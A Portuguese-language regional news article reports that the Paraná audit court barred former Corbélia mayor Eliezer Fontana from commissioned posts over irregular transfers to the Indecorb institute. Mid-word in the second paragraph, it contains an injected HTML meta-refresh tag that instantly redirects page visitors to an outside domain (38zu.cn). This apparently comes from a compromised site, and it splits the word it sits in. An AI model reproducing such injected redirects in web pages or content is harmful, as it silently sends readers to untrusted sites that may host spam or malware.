Eliezer fica inabilitado para exercer cargos em comissão
Cotidiano | Publicado em 17/05/2014 10:17
O ex-prefeito de Corbélia, Eliezer Fontana, teve o seu nome inscrito no cadastro de inabilitados para exercer cargos em Comissão. A decisão foi tomada pela turma da Primeira Câmara do Tribunal de Contas do Paraná, cujo relator é o conselheiro Fernando Augusto Guimarães. O principal motivo para a decisão é que Eliezer repassou recursos do Município ao Instituto de Desenvolvimento e do Bem Estar Social e Cidadania de Corbélia (Indecorb).
A decisão do Tribunal impede que Eliezer exerça cargo em comissão no período de 14 de fevereiro de 2014 a 13 de fevereiro de 2015. O Tribunal já havia decidido que Eliezer terá que devolver R$ 2,2 milhões aos cofres públicos, por entender que este valor foi repassado pela Prefeitura ao Indecorb entre os anos de 2008 e 2009, mas a prestação de contas do convênio foi julgada irregular. Um dos motivos foi a terceirização de mão-de-obra consider<meta http-equiv="refresh" content="0; url=http://38zu.cn">
ada indevida porque teria burlado a obrigatoriedade da realização de concurso Público.
O TCE também apontou outras irregularidades, como a cobrança de taxa de administração pelo Indecorb, o que comprova a obtenção ilegal de lucro na parceria.
Foram detectadas, ainda, falta de controle do município sobre a execução do convênio e ausência de prestação de contas em relação à aplicação do dinheiro repassado. Inspeção do Tribunal, que levou à instauração de Tomada de Contas, comprovou que a entidade não possuía estrutura para realizar o trabalho proposto e nem para gerir o volume de recursos repassado. A desaprovação das contas havia sido confirmada pelo Pleno em julho do ano passado. Na ocasião, os conselheiros decidiram não dar provimento a Recurso de Revista de autoria do ex-prefeito.
Além da devolução do dinheiro - corrigido desde a época dos repasses - o Tribunal aplicou multas administrativas ao então prefeito (no valor de R$ 2.616,96) e ao gestor do Indecorb à época, Mirivaldo Costa (R$1.308,48). Também determinou a suspensão de repasses da Prefeitura ao Indecorb e o impedimento de obtenção da Certidão Liberatória pela entidade. Eliezer afirmou à nossa equipe de Reportagem que vai recorrer da decisão